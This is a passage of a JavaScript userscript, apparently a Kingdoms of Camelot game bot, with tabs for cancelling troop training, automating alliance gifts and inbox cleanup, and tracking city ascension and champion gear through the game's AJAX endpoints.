   delete_queue_slot : function (typetrn, numtrptrn, trnTmp, trnETA, trnNeeded, cityId, trainingId)
      {
      var t = Tabs.popcontrol;
      var uW = unsafeWindow;
      var params = uW.Object.clone(uW.g_ajaxparams);
      params.pf =0;
      params.requestType = "CANCEL_TRAINING";
      params.cityId = cityId;
      params.typetrn = typetrn;
      params.numtrptrn = numtrptrn;
      params.trnETA = trnETA;
      params.trnTmp = trnTmp;
      params.trnNeeded = trnNeeded;

      new AjaxRequest(uW.g_ajaxpath + "ajax/cancelTraining.php" + uW.g_ajaxsuffix,
         {
         method: "post",
         parameters: params,
         onSuccess: function (message)
            {
            var rslt=eval("("+message.responseText+")");
            if (rslt.ok)
               {
               t.log("Deleted queue of "+ addCommas(numtrptrn) +" "+ troops[typetrn]);
               if(rslt.updateSeed){unsafeWindow.update_seed(rslt.updateSeed)};
               var k=0;
               for(var j=0;j<Seed.queue_unt["city"+cityId].length;j++)
                  {
                  if(j>trainingId)
                     {
                     Seed.queue_unt["city"+cityId][j][2]=parseInt(rslt.dateTraining[k]["start"]);
                     Seed.queue_unt["city"+cityId][j][3]=parseInt(rslt.dateTraining[k]["end"]);
                     k++;
                     }
                  }
               Seed.queue_unt["city"+cityId].splice(trainingId,1);
               for(var i=1;i<5;i++)
                  {
                  var totalReturn=parseInt(uW.unitcost["unt"+typetrn][i])*parseInt(numtrptrn)*3600/2;
                  Seed.resources["city"+cityId]["rec"+i][0]=parseInt(Seed.resources["city"+cityId]["rec"+i][0])+totalReturn;
                  }
               }
            else
               {
               }
            },
         onFailure: function ()
            {
            },
         });
      },

  toggleTourneyMode : function () { 
	var t = Tabs.popcontrol;
    Options.TourneyModeActive=!Options.TourneyModeActive;
    saveOptions();
	t.setTourneyText(true);
  },	
   
  setTourneyText : function (log) {
    if (Options.TourneyModeActive)
	  {document.getElementById('pbtourney').value = "Tournament Mode : ON"; if (log) {Tabs.popcontrol.log("Tournament Mode turned ON");}}
	else
	  {document.getElementById('pbtourney').value = "Tournament Mode : OFF"; if (log) {Tabs.popcontrol.log("Tournament Mode turned OFF");}}
  },
  
	togOpt : function (checkboxId, optionName, callOnChange){
		var t = Tabs.popcontrol;
		var checkbox = document.getElementById(checkboxId);
		if (Options[optionName])
			checkbox.checked = true;
		checkbox.addEventListener ('change', eventHandler, false);
		function eventHandler (){
			Options[optionName] = this.checked;
			saveOptions();
			if (callOnChange)
				callOnChange (this.checked);
		}
	},  
}

/****** Gifts Tab ********/
Tabs.gifts = {
   tabLabel: unsafeWindow.g_js_strings.commonstr.gift,
   tabOrder: 30001,
   myDiv:   null,
   tabDisabled: false,
   curava   :  new Array(),
   init: function (div) {
        var t = Tabs.gifts;
        t.myDiv = div;
        //if(!GiftDB.giftitems)
        t.populategifts();
        var m = '<DIV class=pbStat>Gifts</div>';
        m += '<DIV><table><tr><td><INPUT id=giftssend type=submit value="Send Gifts">';
      m+= ' </td><td> Change All: <select id="AllRecipients">';
      m+='<option value="0">None</option>';
      for(g =0;g < GiftDB.giftitems.length;g++) {
         m+='<option value="'+GiftDB.giftitems[g].itemId+'">'+GiftDB.giftitems[g].name+'</option>';
      };
      m+='<option value="-1">Delete</option>';
        m+='</select> </td><td> <INPUT id=pbaugift type=checkbox '+ (GiftDB.agift?' CHECKED':'') +'\>Auto gift when available </td><td> <INPUT id=pbadgift type=checkbox '+ (GiftDB.adgift?' CHECKED':'') +'\> Scan and delete gift messages</td><td> Total sent:</td><td id=giftnumber></td></tr></table></DIV>';
	m+='<table><TR><TD><INPUT id=resetlist type=submit value="Reset Gift List"> Reset gifting list (may take a day to re-populate)</td></tr></table></DIV>';
        m += '<DIV class=pbStat></DIV>';
        m+= '<DIV>For reasons unknown the server picks and chooses the recipients.  You will find the counter is an accurate representation of who kabam says they sent the gifts to.  I invite you to try theories, gift combinations and see if you can get the numbers higher.  each type of gift sent is a separate request to the server.  You may update us on working scenarios <a href=https://code.google.com/p/koc-power-bot/issues/list>here</a></DIV>';
        m += '<DIV class=pbStat></DIV>';
        m += '<DIV style="height:250px; max-height:250px; overflow-y:auto" id=GiftsTAB></DIV>';
        div.innerHTML = m;
      t.populatepeople();
      document.getElementById('resetlist').addEventListener('click', function(){
         t.clearGiftsdb();
                  } , false);
      document.getElementById('giftssend').addEventListener('click', function(){
         t.sendgifts();
         setTimeout(t.populatepeople,1000);
                  } , false);
      document.getElementById('AllRecipients').addEventListener('change', function(e){
         var element_class = document.getElementById('GiftsTAB').getElementsByClassName('giftstosend');
            for (c = 0; c < element_class.length; c++) {
            element_class[c].value = e.target.value;
            if(e.target.value == -1) {delete GiftDB.people[Number(element_class[c].id)];continue;};
            if(!GiftDB.people[Number(element_class[c].id)])
            GiftDB.people[Number(element_class[c].id)] = [Number(e.target.value),0];
            else GiftDB.people[Number(element_class[c].id)][0] = Number(e.target.value);
            GiftDB.people[Number(element_class[c].id)][2] = element_class[c].name;
         };t.saveGiftsdb();
      }, false);
      document.getElementById('pbadgift').addEventListener('change', function(){
         GiftDB.adgift = this.checked;
         t.saveGiftsdb();
         if(GiftDB.adgift)t.scangifts(4);
      }, false);
      document.getElementById('pbaugift').addEventListener('change', function(){
         GiftDB.agift = this.checked;
         t.saveGiftsdb();
      }, false);
      t.giftstats();
      if(GiftDB.agift)
         setTimeout(t.sendgifts,10000);
   },
   populatepeople : function () {
        var t = Tabs.gifts;
      t.curava = new Array();
              var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
      params.ctrl = 'allianceGifting\\AllianceGiftingServiceAjax';
      params.action = 'getRecipients';
            new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch53.php" + unsafeWindow.g_ajaxsuffix, {
            method: "post",
            parameters: params,
            loading: true,
            onSuccess: function (transport) {
               var rslt = eval("(" + transport.responseText + ")");
               if(rslt.ok) {
                  var m='<center><table>';
                  for(i =0;i<rslt.recipients.length;i++) {
                     t.curava.push(rslt.recipients[i].userId);
                     switch(rslt.recipients[i].playerSex)
                        {
                        case "M":
                        var sex = 'Lord';
                        break;
                        case "F":
                        var sex = 'Lady';
                        break;
                        default:
                        var sex = 'Lorady';
                        }
                        var name = sex+' '+rslt.recipients[i].displayName;
                        var sent=0;
                        if(GiftDB.people[Number(rslt.recipients[i].userId)]) {
                           sent = GiftDB.people[rslt.recipients[i].userId][1];
                           GiftDB.people[Number(rslt.recipients[i].userId)][2] = name;//annoying people change their name.  lets update.
                        }else{
							GiftDB.people[rslt.recipients[i].userId] = [0,0,name,0];
						};;
                     m += '<tr><td></td><td>'+name+'<td/><td>Total sent: '+sent+'</td>'; 
                     m+= '<td><select class="giftstosend" id="'+rslt.recipients[i].userId+'" name="'+name+'">';
						m+='<option value="0">None</option>';
                     for(g =0;g < GiftDB.giftitems.length;g++) {
                  if(GiftDB.people[Number(rslt.recipients[i].userId)] && GiftDB.people[Number(rslt.recipients[i].userId)][0] == Number(GiftDB.giftitems[g].itemId))
                     m+='<option value="'+GiftDB.giftitems[g].itemId+'" selected="selected">'+GiftDB.giftitems[g].name+'</option>';
                  else
                     m+='<option value="'+GiftDB.giftitems[g].itemId+'">'+GiftDB.giftitems[g].name+'</option>';
                  }
                     m+='<option value="-1">Delete</option>';
                     if(GiftDB.people[Number(rslt.recipients[i].userId)]) var recgifts = GiftDB.people[Number(rslt.recipients[i].userId)][3];
                     else var recgifts = 0;
                     m+= '</select> Received '+recgifts+'</td></tr>';
                  }
                  for(h in GiftDB.people) {
                     if(t.curava.indexOf(h) != -1)continue;
                     var name = GiftDB.people[h][2];
                     m += '<tr><td>Not Available: </td><td>'+name+'<td/><td>Total sent: '+GiftDB.people[h][1]+'</td>'; 
                     m+= '<td><select class="giftstosend" id="'+h+'" name="'+name+'">';
                     
                     
                     m+='<option value="0">None</option>';
                     for(g =0;g < GiftDB.giftitems.length;g++) {
                  if(GiftDB.people[Number(h)] && GiftDB.people[Number(h)][0] == Number(GiftDB.giftitems[g].itemId))
                     m+='<option value="'+GiftDB.giftitems[g].itemId+'" selected="selected">'+GiftDB.giftitems[g].name+'</option>';
                  else
                     m+='<option value="'+GiftDB.giftitems[g].itemId+'">'+GiftDB.giftitems[g].name+'</option>';
                  }
                     m+='<option value="-1">Delete</option>';
                     m+= '</select> Received '+GiftDB.people[Number(h)][3]+'</td></tr>';
                     
                  };
                  m+='</table></center>';
                  document.getElementById('GiftsTAB').innerHTML = m;
               var element_class = document.getElementById('GiftsTAB').getElementsByClassName('giftstosend');
                   for (c = 0; c < element_class.length; c++) {
                        if(element_class[c])
                        element_class[c].addEventListener('change', function(e){
						  if(e.target.value != -1) {
						  if(!GiftDB.people[Number(e.target.id)])
							 GiftDB.people[Number(e.target.id)] = [Number(e.target.value),0];
							 else 
							 GiftDB.people[Number(e.target.id)][0] =Number(e.target.value);
							 GiftDB.people[Number(e.target.id)][2] = e.target.name;
						  }else {
							 delete GiftDB.people[Number(e.target.id)];
						  };
							 t.saveGiftsdb();
						  } , false);
                    }
               }
            },
            onFailure: function () {
            },
         });
   },
   sendgifts : function () {
         var t = Tabs.gifts;
         var x = 1;
      for(g =0;g<GiftDB.giftitems.length;g++) {
         var ItemId = Number(GiftDB.giftitems[g].itemId);
         var j = new Array();
         for(i in GiftDB.people) {
            if(Number(GiftDB.people[i][0]) == ItemId)
            if(t.curava.indexOf(i) != -1)
               j.push(i);
         }
         if(j.length) {
         x+=1;
         if(j.length > 2){
            //AS per https://osric.com/chris/accidental-developer/2012/07/javascript-array-sort-random-ordering/ sort was not used, this is used instead to get true random results.
            var n = j.length;
            var tempArr = [];
            for ( q = 0; q < n-1; q++ )
               tempArr.push(j.splice(Math.floor(Math.random()*j.length),1)[0]);
            tempArr.push(j[0]);
            j=tempArr;
         //setTimeout(function(){
            t.sendgift(ItemId,j);
            //},x*3000);
            } else {
               t.sendgift(ItemId,j);
         }};
   }
   t.populatepeople();
   },
   sendgift : function (giftId, recipients) {
         var t = Tabs.gifts;
         //for reasons unknown the server picks and chooses who you get to send a gift to and who you don't. for this reason I have left the logits in place.
         logit('giftId is '+giftId+' recipients is '+recipients);
              var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
      params.ctrl = 'allianceGifting\\AllianceGiftingServiceAjax';
      params.action = 'sendGift';
      params.recipients = String(recipients).replace(/,/g,"|");
      params.itemId = giftId;
            new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch53.php" + unsafeWindow.g_ajaxsuffix, {
            method: "post",
            parameters: params,
            loading: true,
            onSuccess: function (transport) {
               var rslt = eval("(" + transport.responseText + ")");
               if(rslt.ok) {
                  logit('rslt.succ is '+rslt.succeedRecipients);
                  for(i = 0;i<rslt.succeedRecipients.length;i++) {
                  var z = rslt.succeedRecipients[i];
                  GiftDB.people[Number(z)][1] += 1;
                     //logit('i is '+i+' length is '+rslt.succeedRecipients.length+' z is '+z+' Giftdb is '+GiftDB.people[Number(z)]);
                  
               };
                  t.saveGiftsdb();
                  t.giftstats();
               };
            },
            onFailure: function () {
            },
         });
   },
   populategifts : function (){
        var t = Tabs.gifts;
        var c = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
        c.ctrl = "GiftItems";
        c.action = "getGiftItems";
         new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch.php" + unsafeWindow.g_ajaxsuffix, {
            method: "post",
            parameters: c,
            onSuccess: function (h) {
               var rslt = eval("(" + h.responseText + ")");
               if(rslt.ok) {
                  GiftDB.giftitems = rslt.giftItems;
                  t.saveGiftsdb();
               };
            },
            onFailure: function () {}
        });
   },
   clearGiftsdb : function (){
        var t = Tabs.gifts;
	GiftDB={};
	t.saveGiftsdb();
        t.populatepeople;
   },
   saveGiftsdb : function (){
        var t = Tabs.gifts;
        var serverID = getServerId();
         setTimeout (function (){GM_setValue ('GiftsDB_' + Seed.player['name'] + '_' +serverID, JSON2.stringify(GiftDB));}, 0);
   },
   readGiftsdb : function() {
        var t = Tabs.gifts;
        var serverID = getServerId();
         s = GM_getValue ('GiftsDB_' + Seed.player['name'] + '_' +serverID);
         if (s != null){
            opts = JSON2.parse (s);
            for (k in opts){
               if (matTypeof(opts[k]) == 'object')
                  for (kk in opts[k])
                     GiftDB[k][kk] = opts[k][kk];
               else
                  GiftDB[k] = opts[k];
            }
         }
   },
   giftstats : function() {
        var t = Tabs.gifts;
      var sentgifts = 0;
        for(h in GiftDB.people){
      sentgifts += GiftDB.people[h][1];
      };
      document.getElementById('giftnumber').innerHTML=sentgifts;
   },
   
   scangifts : function(page) {
      var t = Tabs.gifts;
      page = Number(page);
      if(!GiftDB.adgift)return;
      if(page <= 0)return;
      var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
      params.requestType = "GET_MESSAGE_HEADERS_FOR_USER_INBOX";
      params.boxType="inbox";
      params.pageNo=page;
      new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/getEmail.php" + unsafeWindow.g_ajaxsuffix, {
         method: "post",
         parameters: params,
         onSuccess: function (message) {
            var rslt = eval("(" + message.responseText + ")");
            if (rslt.ok) {
               for(i in rslt.message){
                  if(rslt.message[i].fromUserId == "0" && (rslt.message[i].subject == "New Gift Received!" || rslt.message[i].subject == "¡Nuevo regalo recibido!" || rslt.message[i].subject == "Nuovo Regalo ricevuto!" || rslt.message[i].subject == "Yeni Hediye Alındı!" || rslt.message[i].subject == "Neues Geschenk erhalten!")){
                     t.foundgift(i);
                  };
               };
               setTimeout(function() {t.scangifts(parseInt(page-1))},5000);
            } else return;
         },
         onFailure: function () {
            return;
         },
      });
      
   },
   
   deletemsgs : function (msgs) {
      var t = Tabs.gifts;
      var params4 = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
      params4.requestType="ACTION_ON_MESSAGES";
      params4.selectedAction="delete";
      params4.selectedMessageIds=msgs;
      params4.boxType="inbox";
      new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/getEmail.php" + unsafeWindow.g_ajaxsuffix, {
         method: "post",
         parameters: params4,
      });   
   },
   
   foundgift : function (id) {
      var t = Tabs.gifts;
      var params2 = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
      params2.messageId=id;
      params2.requestType = "GET_MESSAGE_FOR_ID";
      new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/getEmail.php" + unsafeWindow.g_ajaxsuffix, {
         method: "post",
         parameters: params2,
         onSuccess: function (message) {
            var rslt2 = eval("(" + message.responseText + ")");
            if (rslt2.ok) {
               var name = rslt2.messageBody.split(" ")[0]+" "+rslt2.messageBody.split(" ")[1];
               var todel = [];
               for(x in GiftDB.people) {
                  if(GiftDB.people[x][2] == name) {
                     GiftDB.people[x][3] += 1;
                     t.saveGiftsdb();
                     t.deletemsgs(id);
                  };
               };
            }
         },
      });
   },
   
   show: function (){
      },
   hide: function (){},
   
}
/***** Ascension Tab ******/
Tabs.ascension = {
    tabLabel: 'Ascension',
    tabOrder: 300,
    myDiv: null,
    init: function (div) {
        var t = Tabs.ascension;
        t.myDiv = div;
        var m = '<DIV id=pbAscensionMain></div><TABLE id=pbAscension><TR>';
        m += '<TD></td><TD>Percent</td><TD><CENTER>Menu</center></td><TD>Current Level</td><TD>Current Cost</td><TD>'+strButton20(translate('Building Values'), 'id=pbBuildingValues') +'</td><TR>';
        for (i = 0; i < Cities.cities.length; i++) {
            var cityPrestige = Seed.cityData.city[Cities.cities[i].id].cityValue;
            var cityPrestigeType = Seed.cityData.city[Cities.cities[i].id].prestigeInfo.prestigeType;
            var cityPrestigeLevel = Seed.cityData.city[Cities.cities[i].id].prestigeInfo.prestigeLevel;
            var isPrestigeCity = Seed.cityData.city[Cities.cities[i].id].isPrestigeCity;
            //alert('city - ' + Cities.cities[i].id + ' prestige= ' + isPrestigeCity )
            var currentGemPrice = null;
//            var fullPrestige = 1550;
//            var gemFullPrice = 2000;
            var fullPrestige = [1000, 1200, 1200, 1450, 1500, 1550];
            var gemFullPrice = [1000, 1150, 1250, 2000, 2250, 2500];
//            var progressWidth = parseInt(((cityPrestige / fullPrestige) * 100));
            var progressWidth = parseInt(((cityPrestige / fullPrestige[cityPrestigeLevel-1]) * 100));
            if (progressWidth > 100) progressWidth = 100;
            var fullBarWidth = 378;
            m += '<TR><TD>City ' + Cities.cities[i].name + ' - </td>';
            m += '<TR><TD background="'+http+'koc-power-bot.googlecode.com/svn/trunk/progress_brown_bar.png" width=' + fullBarWidth + ' height=25">';
            m += '<DIV id=pbGreenBar_' + i + '></div></td><TD align=center><DIV id=pbProgPerc_' + i + '></div></td><TD><INPUT id=pbAscendBtn_' + Cities.cities[i].id + ' type=submit value="Ascend"></td><TD align=center><DIV id=pbCityPrestigeLevel_' + i + '></div></td><TD align=center><DIV id=pbGemCost_' + Cities.cities[i].id + '></div></td><TD align=center><CENTER><DIV id=pbAscCurMight_'+i+'></div></center></td>';
        }
        div.innerHTML = m;
        document.getElementById('pbBuildingValues').addEventListener('click', function(){t.paintHelp();});
    },
    paintHelp: function() {
      var t = Tabs.ascension;
      var helpText = translate("Ascension Building Values");
         helpText += '<TABLE><TR><TD align=center>Building</td><TD align=center width=50>Lvl 1</td><TD align=center width=50>+1 Lvl</td></tr>';

         helpText += '<TR><TD>Castle</td><TD><CENTER>10</center></td><TD><CENTER>+8</center></td></tr>';          
         helpText += '<TR><TD>Tavern</td><TD><CENTER>7</center></td><TD><CENTER>+6</center></td></tr>';
         helpText += '<TR><TD>Knights Hall</td><TD><CENTER>7</center></td><TD><CENTER>+6</center></td></tr>';
         helpText += '<TR><TD>Alchemy Lab</td><TD><CENTER>7</center></td><TD><CENTER>+6</center></td></tr>';
         helpText += '<TR><TD>Rally Point</td><TD><CENTER>7</center></td><TD><CENTER>+6</center></td></tr>';
         helpText += '<TR><TD>Wall</td><TD><CENTER>7</center></td><TD><CENTER>+6</center></td></tr>';
         helpText += '<TR><TD>DRUID Barracks (field)</td><TD><CENTER>7</center></td><TD><CENTER>+6</center></td></tr>';
         helpText += '<TR><TD>DRUID Apothecary (field)</td><TD><CENTER>6</center></td><TD><CENTER>+5</center></td></tr>';
         helpText += '<TR><TD>Embassy</td><TD><CENTER>6</center></td><TD><CENTER>+5</center></td></tr>';
         helpText += '<TR><TD>Market</td><TD><CENTER>6</center></td><TD><CENTER>+5</center></td></tr>';
         helpText += '<TR><TD>Watch Tower</td><TD><CENTER>6</center></td><TD><CENTER>+5</center></td></tr>';
         helpText += '<TR><TD>Spire</td><TD><CENTER>6</center></td><TD><CENTER>+5</center></td></tr>';
         helpText += '<TR><TD>Apothecary</td><TD><CENTER>6</center></td><TD><CENTER>+5</center></td></tr>';
         helpText += '<TR><TD>NORMAL Barracks</td><TD><CENTER>2</center></td><TD><CENTER>+2</center></td></tr>';
         helpText += '<TR><TD>Cottage</td><TD><CENTER>2</center></td><TD><CENTER>+2</center></td></tr>';
         helpText += '</table><TABLE>';
         helpText += '<TR><TR><TD>These numbers are for every added level of a building. Whether you are building it to level 2 or level 10, it will only add this amount to the total, shown under this help button. Every buildings "might" value combines to give the total. Once it reaches 1200, you are at 100% and can level up again.</td></tr></tr>';
         helpText += '</table>';

         var pop = new pbPopup ('ascensionHelp', 0, 0, 400, 400, true);
         pop.centerMe (mainPop.getMainDiv());  
         pop.getMainDiv().innerHTML = helpText;
         pop.getTopDiv().innerHTML = '<CENTER><B>Power Bot '+translate("Help")+': '+translate("Ascension")+'</b></center>';
         pop.show (true);
    },
    paintTab: function () {
        for (i = 0; i < Cities.cities.length; i++) {
            var cityPrestige = Seed.cityData.city[Cities.cities[i].id].cityValue;
            var cityPrestigeType = Seed.cityData.city[Cities.cities[i].id].prestigeInfo.prestigeType;
            var cityPrestigeLevel = Seed.cityData.city[Cities.cities[i].id].prestigeInfo.prestigeLevel;
            var isPrestigeCity = Seed.cityData.city[Cities.cities[i].id].isPrestigeCity;
            //alert('city - ' + Cities.cities[i].id + ' prestige= ' + isPrestigeCity )
            var currentGemPrice = null;
//            var fullPrestige = 1550;
//            var gemFullPrice = 2000;
            var fullPrestige = [1000, 1200, 1200, 1450, 1500, 1550];
            var gemFullPrice = [1000, 1150, 1250, 2000, 2250, 2500];
//            var progressWidth = parseInt(((cityPrestige / fullPrestige) * 100));
	    if (cityPrestigeLevel < 6 )
              var progressWidth = parseInt(((cityPrestige / fullPrestige[cityPrestigeLevel]) * 100));
	    else
	      progressWidth = 100;
            if (progressWidth > 100) progressWidth = 100;
            var fullBarWidth = 378;
            m += '<TR><TD>City ' + Cities.cities[i].name + ' - </td>';
            m += '<TR><TD style="background:'+http+'koc-power-bot.googlecode.com/svn/trunk/progress_brown_bar.png" width=100% height=25">';
            if (isPrestigeCity) {
	      if (cityPrestigeType <= 2) {
                if (cityPrestigeLevel < 6) {
                    //logit(cityPrestigeLevel + ' ' + isPrestigeCity)
                    document.getElementById('pbGreenBar_' + i).innerHTML = '<img src="'+http+'koc-power-bot.googlecode.com/svn/trunk/progress_green_bar.png" width=' + progressWidth + '% height=25>'
                    document.getElementById('pbProgPerc_' + i).innerHTML = progressWidth + '%';
                    document.getElementById('pbCityPrestigeLevel_' + i).innerHTML = cityPrestigeLevel + '/6';
                    document.getElementById('pbAscCurMight_'+i).innerHTML = cityPrestige + '/' +fullPrestige[cityPrestigeLevel];
                } else {
                    document.getElementById('pbGreenBar_' + i).innerHTML = '<CENTER><B>C O M P L E T E &nbsp;&nbsp;&nbsp; (for now)</center>'
                    document.getElementById('pbProgPerc_' + i).innerHTML = 'N/A';
                    document.getElementById('pbCityPrestigeLevel_' + i).innerHTML = 'N/A';
                    document.getElementById('pbAscCurMight_' + i).innerHTML = 'N/A';
                }
	      } else {
                if (cityPrestigeLevel < 6) {
                    //logit(cityPrestigeLevel + ' ' + isPrestigeCity)
                    document.getElementById('pbGreenBar_' + i).innerHTML = '<img src="'+http+'koc-power-bot.googlecode.com/svn/trunk/progress_green_bar.png" width=' + progressWidth + '% height=25>'
                    document.getElementById('pbProgPerc_' + i).innerHTML = progressWidth + '%';
                    document.getElementById('pbCityPrestigeLevel_' + i).innerHTML = cityPrestigeLevel + '/6';
                    document.getElementById('pbAscCurMight_'+i).innerHTML = cityPrestige + '/' +fullPrestige[cityPrestigeLevel-1];
                } else {
                    document.getElementById('pbGreenBar_' + i).innerHTML = '<CENTER><B>C O M P L E T E &nbsp;&nbsp;&nbsp; (for now)</center>'
                    document.getElementById('pbProgPerc_' + i).innerHTML = 'N/A';
                    document.getElementById('pbCityPrestigeLevel_' + i).innerHTML = 'N/A';
                    document.getElementById('pbAscCurMight_' + i).innerHTML = 'N/A';
                }
	      }
              m += '<TR>';
            } else {
                document.getElementById('pbGreenBar_' + i).innerHTML = '<CENTER><B>C I T Y &nbsp;&nbsp;&nbsp; N O T  &nbsp;&nbsp;&nbsp; A S C E N D E D &nbsp;&nbsp;&nbsp; Y E T</center>'
                document.getElementById('pbProgPerc_' + i).innerHTML = '<CENTER>N/A</center>';
                document.getElementById('pbCityPrestigeLevel_' + i).innerHTML = '<CENTER>0/6</center>';
                document.getElementById('pbAscCurMight_' + i).innerHTML = 'N/A';
            }
        }
    },
    clickCitySelect: function (city) {
        var t = Tabs.ascension;
        t.selectedCity = city;
        t.JumpCity(city);
        unsafeWindow.cm.PrestigeManagerController.open()
    },
    JumpCity: function (city) {
        var t = Tabs.ascension;
        for (i = 0; i < Seed.cities.length; i++) {
            if (Seed.cities[i][0] == city) var cityNum = i;
        }
        cityNum++;
        var obj = document.getElementById('citysel_' + cityNum);
        return t.ClickWin(window, obj, 'click');
    },
    ClickWin: function (win, obj, evtName) {
        var evt = win.document.createEvent("MouseEvents");
        evt.initMouseEvent(evtName, true, true, win, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
        return !obj.dispatchEvent(evt);
    },
    getGemCost: function (cityId, callback) {
        var t = Tabs.ascension;
        var isPrestigeCity = Seed.cityData.city[cityId].isPrestigeCity;
        var cityPrestigeType = Seed.cityData.city[Cities.cities[i].id].prestigeInfo.prestigeType;
        var cityPrestigeLevel = Seed.cityData.city[Cities.cities[i].id].prestigeInfo.prestigeLevel;
//        if (isPrestigeCity && cityPrestigeLevel < 3) {
//            var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
//            params.cid = cityId;
//            params.prestigeType = 1;
//            new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/getPrestigeCost.php" + unsafeWindow.g_ajaxsuffix, {
//                method: "post",
//                parameters: params,
//                onSuccess: function (rslt) {
//                    if (rslt.ok) {
//                        callback(cityId, rslt.cost, rslt.original_cost)
//                    }
//                }
//            });
//        } else {
//            callback(cityId, null, null)
//        }

        if (isPrestigeCity) {
          if (cityPrestigeType == 3 && cityPrestigeLevel < 6) {
            var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
            params.cid = cityId;
            params.prestigeType = 3;
            new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/getPrestigeCost.php" + unsafeWindow.g_ajaxsuffix, {
                method: "post",
                parameters: params,
                onSuccess: function (rslt) {
                    if (rslt.ok) {
                        callback(cityId, rslt.cost, rslt.original_cost)
                    }
                }
            });
	  } else if (cityPrestigeType <= 2 && cityPrestigeLevel < 6) {
            var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
            params.cid = cityId;
            params.prestigeType = 2;
            new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/getPrestigeCost.php" + unsafeWindow.g_ajaxsuffix, {
                method: "post",
                parameters: params,
                onSuccess: function (rslt) {
                    if (rslt.ok) {
                        callback(cityId, rslt.cost, rslt.original_cost)
                    }
                }
            });
	  } else {
            callback(cityId, null, null)
          }
        } else {
            callback(cityId, null, null)
        }

    },
    show: function () {
        var t = Tabs.ascension;
        t.Timer = setInterval(t.paintTab, 1000)
        for (i = 0; i < Cities.cities.length; i++) {
            document.getElementById('pbAscendBtn_' + Cities.cities[i].id).addEventListener('click', function () {
                var t = Tabs.ascension
                var what = this.id.substr(12); // strip first 12 char's -> pbAscendBtn_
                t.clickCitySelect(what);
            });
            var isPrestigeCity = Seed.cityData.city[Cities.cities[i].id].isPrestigeCity;
            if (isPrestigeCity) {
                t.getGemCost(Cities.cities[i].id, function (cid, cost, origCost) {
                    if (cost < 0 || cost == null || origCost == null) {
                        document.getElementById('pbGemCost_' + cid).innerHTML = '<CENTER>Max</center>';
                    } else {
                        document.getElementById('pbGemCost_' + cid).innerHTML = '<CENTER>' + cost + '/' + origCost + '</center>';
                    }
                })
            } else {
                document.getElementById('pbGemCost_' + Cities.cities[i].id).innerHTML = '<CENTER>Not Ascended</center>';
            }
        }
    },
    hide: function () {
        var t = Tabs.ascension;
        clearInterval(t.Timer)
    },
}


/*********************************** Champion Tab ***********************************/
Tabs.Champion = {
  tabOrder : 690,
  tabLabel : unsafeWindow.g_js_strings.champ.champion,
  cont : null,
  curTabBut : null,
  curTabName : null,
  SelId:null,
  log:[],
  SalvageLog:[],
  setRepairTimer:null,
  setActionTimer:null,
  SalvageArray:[],
  SalvageRunning:false,
  LastDeleted:0,
  MaxItems:128,
  CompPos:0,
  CardTypes:["ALL","Attack","Defense","Life","Speed","Range","Load","Accuracy","Damage","Bonus Damage","Armor","Strength","Dexterity","Health","Hit","Crit","Block"],
  EquipType: ["ALL","weapon","armor","helm","boot","shield","ring1","ring2","necklace","cloak"], //case sensitive for the moment.
  EquipTypeNo: ["ALL","1","2","3","4","5","6","7","8","9"], //case sensitive for the moment.
  Faction: ["ALL","Briton","Fey","Druid"],
  Effects: ["1","2","3","4","5","6","7","17","18","19","20","21","22","23","201","202","203","204","205","206","207","208","209"],
  EnhanceCost:[],
  UpgradeCost:[],
  championStatTiers:{},
  championStatEffects:{},
  repairEnd: null,
  repairStart: null,

  init : function (div){
    var t = Tabs.Champion;
    t.cont = div;
    t.initChampData();

    var main = '<TABLE align=center><TR><TD><INPUT class=pbSubtab ID=ptmrcxSubSal type=submit value="Salvage"></td>';
    main +='<TD><INPUT class=pbSubtab ID=ptmrcxSubUE type=submit value="Upgrade/Enhance"></td>';
    main +='<TD><INPUT class=pbSubtab ID=ptmrcxSubEQ type=submit value="Compare"></td>';
//    main +='<TD><input class=pbSubtab ID=ptmrcxSubTC type=submit value="Caps"></TD>';
//    main +='<TD><input class=pbSubtab ID=ptmrcxSubTR type=submit value="Champion"></TD></tr>';
    main +='<TD><input class=pbSubtab ID=ptmrcxSubUN type=submit value="Uniques"></TD>';
    main +='<TD><INPUT class=pbSubtab ID=ptmrcxSubAS type=submit value="Assign"></td>';
    main += '</tr></table><HR class=ptThin>';
    main +='<DIV id=ChampionOutput style="margin-top:10px; background-color:white; height:680px; overflow:auto;"></div>';

    t.cont.innerHTML = main;
    t.Overv = document.getElementById('ChampionOutput');
    
    document.getElementById('ptmrcxSubSal').addEventListener('click', e_butSubtab, false);
    document.getElementById('ptmrcxSubUE').addEventListener('click', e_butSubtab, false);
   document.getElementById('ptmrcxSubEQ').addEventListener('click', e_butSubtab, false);
//   document.getElementById('ptmrcxSubTC').addEventListener('click', e_butSubtab, false);
//   document.getElementById('ptmrcxSubTR').addEventListener('click', e_butSubtab, false);
   document.getElementById('ptmrcxSubUN').addEventListener('click', e_butSubtab, false); 
    document.getElementById('ptmrcxSubAS').addEventListener('click', e_butSubtab, false);

    changeSubtab (document.getElementById('ptmrcxSubUE'));
    
    function e_butSubtab (evt){            
      changeSubtab (evt.target);   
    }

    function changeSubtab (but){
      if (but == t.curTabBut)
        return;
      if (t.curTabBut){
        t.curTabBut.className='pbSubtab';
        t.curTabBut.disabled=false;
      }
      t.curTabBut = but;
      but.className='pbSubtab pbSubtabSel';
      but.disabled=true;
      t.curTabName = but.id.substr(9);
      t.show ();
    }
    t.checkUpgradeInfo(true);
